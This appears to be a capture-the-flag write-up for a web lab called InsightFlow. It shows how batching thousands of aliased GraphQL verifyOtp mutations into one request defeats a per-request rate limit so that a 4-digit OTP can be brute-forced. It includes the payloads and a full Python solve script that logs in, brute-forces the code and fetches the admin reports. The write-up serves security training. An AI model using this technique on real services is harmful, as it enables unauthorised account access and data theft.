InsightFlow — GraphQL Batching OTP Bypass
InsightFlow — GraphQL Batching OTP Bypass
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-05-21 | Status: Solved Techniques: admin_verification_bypass, aliased_mutations, graphql_batching, graphql_introspection, jwt_analysis, otp_bruteforce, rate_limit_bypass
Summary
Task: GraphQL-based analytics platform with OTP-protected admin reports and per-request rate limiting. Solution: bypass rate limit via GraphQL aliased mutation batching to brute-force 4-digit OTP in a single HTTP request, then access admin reports with verified JWT.
InsightFlow — GraphQL Batching OTP Bypass — HackAdvisor Lab 297
Description
InsightFlow is a team analytics platform built by FlowMetrics Inc. that provides dashboards, reports, and data visualization for business metrics. The platform uses a GraphQL API for all data operations. Users can view real-time dashboards with KPI metrics, browse published reports, and collaborate with team members. Some high-level confidential reports are restricted to verified administrators who must complete two-factor authentication. The platform enforces rate limiting on its API endpoints to prevent abuse. Your goal is to find a way to bypass the security controls and access the restricted admin reports.
English summary: A GraphQL-powered analytics platform where admin reports are gated behind OTP-based 2FA. The OTP verification endpoint is rate-limited to 5 attempts per minute, but the rate limiter counts HTTP requests rather than individual GraphQL operations. By batching thousands of aliased verifyOtp mutations into a single HTTP request, the rate limit is bypassed entirely, allowing brute-force of the 4-digit OTP.
Analysis
Reconnaissance
The target is an Express.js application behind nginx/1.25.5. The GraphQL endpoint at /graphql was discovered from /js/auth.js. A decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} is planted in HTML comments on every page — this is a honeypot trap, not the real flag.
Authentication and JWT
Logging in with user@test.com / password123 via the login mutation returns a JWT. Decoding the JWT payload reveals:
json read-only • copy allowed{ "id": 2, "email": "user@test.com", "name": "Test User", "role": "user", "adminVerified": false }
The adminVerified: false field indicates that admin-level access requires additional verification beyond basic authentication.
Schema Discovery via Introspection
Full GraphQL introspection revealed the complete schema:
- Queries:
me,metrics,kpi,reports,adminReports,recentActivity - Mutations:
login,register,verifyOtp(code: String!) - Types:
AdminReporthas fields:id,title,content,classification,author,createdAt
Key observations:
adminReportsreturns "Admin verification required. Please complete 2FA verification."verifyOtpaccepts a 4-digit OTP code (0000-9999) — only 10,000 possibilities- The OTP verification page warns: "OTP verification is rate-limited to 5 attempts per minute"
The Vulnerability
The rate limiter counts HTTP requests, not individual GraphQL operations within a request. GraphQL supports aliased mutations — multiple operations with unique aliases in a single query. This means 1000+ OTP attempts can be packed into one HTTP request, completely bypassing the rate limit.
Solution
Step 1: Login and obtain JWT
graphql read-only • copy allowedmutation { login(email: "user@test.com", password: "password123") { success message token } }
Step 2: Brute-force OTP via GraphQL batching
Construct a single GraphQL mutation with 1000 aliased verifyOtp calls:
graphql read-only • copy allowedmutation { a0000: verifyOtp(code: "0000") { success message token } a0001: verifyOtp(code: "0001") { success message token } a0002: verifyOtp(code: "0002") { success message token } ... a0999: verifyOtp(code: "0999") { success message token } }
This sends all 1000 attempts as a single HTTP POST to /graphql. The rate limiter sees one request and allows it through. The correct OTP (0347) returns success: true along with a new JWT containing adminVerified: true.
With batches of 1000, the entire 10,000-code keyspace is covered in at most 10 HTTP requests.
Step 3: Access admin reports with verified token
graphql read-only • copy allowed{ adminReports { id title content classification author createdAt } }
Three confidential reports are returned. The flag is embedded in the "Confidential Q4 Revenue Analysis" report content:
Authorization Key: FLAG{REDACTED}
Full Solve Script
python read-only • copy allowed#!/usr/bin/env python3 """GraphQL Batching OTP Bypass for InsightFlow (Lab 297)""" import requests import json import sys TARGET = "https://1817c4d3-f5dc-4598-af21-aca7ff035b28.labs.hackadvisor.io" # Step 1: Login print("[*] Logging in...") login_query = { "query": 'mutation { login(email: "user@test.com", password: "password123") { success message token } }' } r = requests.post(f"{TARGET}/graphql", json=login_query) data = r.json() token = data["data"]["login"]["token"] print(f"[+] Token obtained") headers = { "Content-Type": "application/json", "Authorization": f"Bearer {token}" } # Step 2: Brute force OTP using aliased mutations (batching bypass) BATCH_SIZE = 1000 admin_token = None for batch_start in range(0, 10000, BATCH_SIZE): batch_end = min(batch_start + BATCH_SIZE, 10000) mutations = [] for i in range(batch_start, batch_end): code = f"{i:04d}" mutations.append(f'a{i}: verifyOtp(code: "{code}") {{ success message token }}') query = "mutation {\n" + "\n".join(mutations) + "\n}" print(f"[*] Batch {batch_start:04d}-{batch_end-1:04d}...") r = requests.post( f"{TARGET}/graphql", json={"query": query}, headers=headers, timeout=120 ) result = r.json() if "data" in result: for key, val in result["data"].items(): if val and val.get("success"): code_num = int(key.replace("a", "")) print(f"[+] OTP FOUND: {code_num:04d}") admin_token = val.get("token") break if admin_token: break if not admin_token: print("[!] Failed to find OTP") sys.exit(1) # Step 3: Fetch admin reports with verified token print("[*] Fetching admin reports...") admin_headers = { "Content-Type": "application/json", "Authorization": f"Bearer {admin_token}", } admin_query = { "query": "{ adminReports { id title content classification author createdAt } }" } r = requests.post(f"{TARGET}/graphql", json=admin_query, headers=admin_headers) result = r.json() if "data" in result and result["data"].get("adminReports"): for report in result["data"]["adminReports"]: print(f"\n--- {report.get('title')} ---") content = report.get("content", "") print(content) if "FLAG" in content: print(f"\n[+] FLAG FOUND!")